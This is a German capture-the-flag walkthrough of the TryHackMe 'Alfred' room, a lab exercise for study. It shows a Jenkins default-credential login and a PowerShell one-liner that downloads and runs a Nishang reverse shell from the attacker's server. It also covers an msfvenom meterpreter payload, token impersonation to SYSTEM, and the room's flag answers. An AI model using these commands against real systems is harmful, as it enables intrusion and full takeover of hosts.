https://tryhackme.com/room/alfred

Task 1 Initial Access

Frage 1:
How many ports are open? (TCP only)

Erster Schritt: nmap:

└─$ nmap 10.10.37.194                  
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-06 14:42 CET
Nmap scan report for 10.10.37.194
Host is up (0.048s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds

Antwort 1:
3

Frage 2:
What is the username and password for the log in panel(in the format username:password)

Wenn wir die IP Adresse in unserem Browser eingeben, öffnet sich eine Bruce Wayne Gedenkseite. Durch unseren Scan haben wir auch Port 8080 mit einer Proxy-Seite entdeckt. Hängen wir an die IP noch :8080 an, kommen wir auf eine Loginseite:

Hier habe ich einfach admin:admin ausprobiert und hatte Erfolg. Default-Passwörter sind ein (oft anzutreffender) Fluch und Segen (zumindest für uns).

Antwort 2:
admin:admin

Frage 3:
Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it: powershell iex (New-Object Net.WebClient).DownloadString(‚http://your-ip:your-port/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server


Zuerst laden wir uns das angegebene Nishang-Script auf unseren Rechner herunter.
Damit wir mit der Machine ebenfalls das Script erhalten können, müssen wir nun einen http-Server erstellen. Diesen starten wir im Download-Verzeichnis, wo wir das Nishang-Script gespeichert haben:

└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

Damit wir die Reverse-Shell auch erhalten, benötigen wir noch einen Netcat Listener:

└─$ nc -lvnp 2222   
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::2222
Ncat: Listening on 0.0.0.0:2222

Nun müssen wir den angegebenen Powershell-Befehl anpassen:

powershell iex (New-Object Net.WebClient).DownloadString('http://THM_IP:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress THM_IP -Port 2222

Anschließend navigieren wir zu unserer Code-Eingabe. Dafür gehen wir zuerst auf „project“:

Dann auf „Configure“:

Hier scrollen wir herunter bis „Execute Windows batch command“ und geben unseren Code in das Feld ein (alter Inhalt kann überschrieben werden):

Anschließend klicken wir unten auf „Save“ und im Seiten-Menü klicken wir auf „Build now“, um unsere Reverse-Shell zu erhalten:

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 10.10.37.194.
Ncat: Connection from 10.10.37.194:49239.
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files (x86)\Jenkins\workspace\project>

Frage 4:
What is the user.txt flag? 

Wir navigieren jetzt etwas auf der Machine, bis wir die user.txt gefunden haben. Bedenkt hier, es handelt sich um eine Windows Machine:

PS C:\users\bruce\Desktop> dir


    Directory: C:\users\bruce\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---        10/25/2019  11:22 PM         32 user.txt                          


PS C:\users\bruce\Desktop> cat user.txt
79007a09481963edf2e1321abd9ae2a0
PS C:\users\bruce\Desktop> 

Antwort 4:
79007a09481963edf2e1321abd9ae2a0

Task 2 Switching Shells

Die Reverse Shell aus Task 1 nicht schließen!
Folgen wir erst den Anweisungen im Task:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=THM_IP LPORT=1111 -f exe -o shell.exe

Frage 1:
What is the final size of the exe payload that you generated?

Die Antwort erhalten wir nach der Eingabe des ersten Befehls, um die Payload zu erstellen:

└─$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=THM_IP LPORT=1111 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

Antwort 1:
73802

Starten wir wieder einen http-Server in dem Verzeichnis unserer Payload:

└─$ python3 -m http.server 1234                                                                                                    
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

Jetzt starten wir Metasploit und aktivieren den Handler:

└─$ msfconsole                                                                                         
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __                                                                                                      
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \                                                                                                     
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|                                                                                                    
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_                                                                                                    
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\                                                                                                   
                                                                                                                                                                 

       =[ metasploit v6.2.23-dev                          ]
+ -- --=[ 2259 exploits - 1188 auxiliary - 402 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the edit command to open the 
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST THM_IP
LHOST => THM_IP
msf6 exploit(multi/handler) > set LPORT 1111
LPORT => 1111
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.8.2.163:1111 

In Jenkins navigieren wir wieder zu „Execute Windows batch command“ und geben unseren neuen Downloadbefehl ein:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.8.2.163:1234/shell.exe','shell.exe')"

Danach speichern wir und klicken auf „Build now“.

Im Anschluss wechseln wir in unsere Reverse Shell aus Task 1 und navigieren zu „C:\Program Files (x86)\Jenkins\workspace\project“, dort sollte sich unsere Payload befinden:

PS C:\Program Files (x86)\Jenkins\workspace\project> dir


    Directory: C:\Program Files (x86)\Jenkins\workspace\project


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         11/6/2022   3:04 PM      73802 shell.exe    

Hier geben wir folgenden Befehl ein:

Start-Process "shell.exe"

Und wir haben eine Shell in Meterpreter:

[*] Sending stage (175686 bytes) to 10.10.37.194
[*] Meterpreter session 1 opened (1THM_IP:1111 -> 10.10.37.194:49296) at 2022-11-06 16:15:15 +0100

meterpreter > 

Task 3 Privilege Escalation

Hier folgen wir wieder der Anleitung:

meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\IIS_IUSRS
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT AUTHORITY\WRITE RESTRICTED
NT SERVICE\AppHostSvc
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BFE
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\Dnscache
NT SERVICE\eventlog
NT SERVICE\EventSystem
NT SERVICE\FDResPub
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\MMCSS
NT SERVICE\PcaSvc
NT SERVICE\PlugPlay
NT SERVICE\RpcEptMapper
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\Spooler
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv

Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK
NT SERVICE\AudioSrv
NT SERVICE\DcomLaunch
NT SERVICE\Dhcp
NT SERVICE\DPS
NT SERVICE\lmhosts
NT SERVICE\MpsSvc
NT SERVICE\netprofm
NT SERVICE\nsi
NT SERVICE\PolicyAgent
NT SERVICE\Power
NT SERVICE\ShellHWDetection
NT SERVICE\W32Time
NT SERVICE\WdiServiceHost
NT SERVICE\WinHttpAutoProxySvc
NT SERVICE\wscsvc

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter >

Frage 1:
To check which tokens are available, enter the list_tokens -g. We can see that the BUILTIN\Administrators token is available. Use the impersonate_token „BUILTIN\Administrators“ command to impersonate the Administrators token. What is the output when you run the getuid command?

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

Antwort 1:
NT AUTHORITY\SYSTEM

Wir haben noch immer nicht die Rechte, um auf root.txt zuzugreifen. Deswegen folgen wir weiterhin der Anleitung und migrieren auf einen Prozess mit höheren Privilegien (services.exe):

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 528   2340  powershell.exe        x86   0        alfred\bruce                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
 572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 772   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 848   668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 864   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 920   608   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 936   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 988   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1012  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1064  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1208  668   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1236  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1328  668   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1408  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1432  668   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
 1464  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1496  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
 1608  668   jenkins.exe           x64   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jenkins.exe
 1716  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1824  668   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
 1840  1608  java.exe              x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jre\bin\java.exe
 1864  668   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
 1904  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
 2072  668   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe
 2088  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 2112  528   shell.exe             x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\workspace\project\shell.exe
 2272  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 2340  1840  cmd.exe               x86   0        alfred\bruce                  C:\Windows\SysWOW64\cmd.exe
 2428  772   WmiPrvSE.exe          x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe
 3040  668   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe

meterpreter > migrate 668
[*] Migrating from 2112 to 668...
[*] Migration completed successfully.

Frage 2:
read the root.txt file at C:\Windows\System32\config

meterpreter > shell
Process 2332 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>cd config
cd config

C:\Windows\System32\config>type root.txt
type root.txt
dff0f748678f280250f25a45b8046b4a

Antwort 2:
dff0f748678f280250f25a45b8046b4a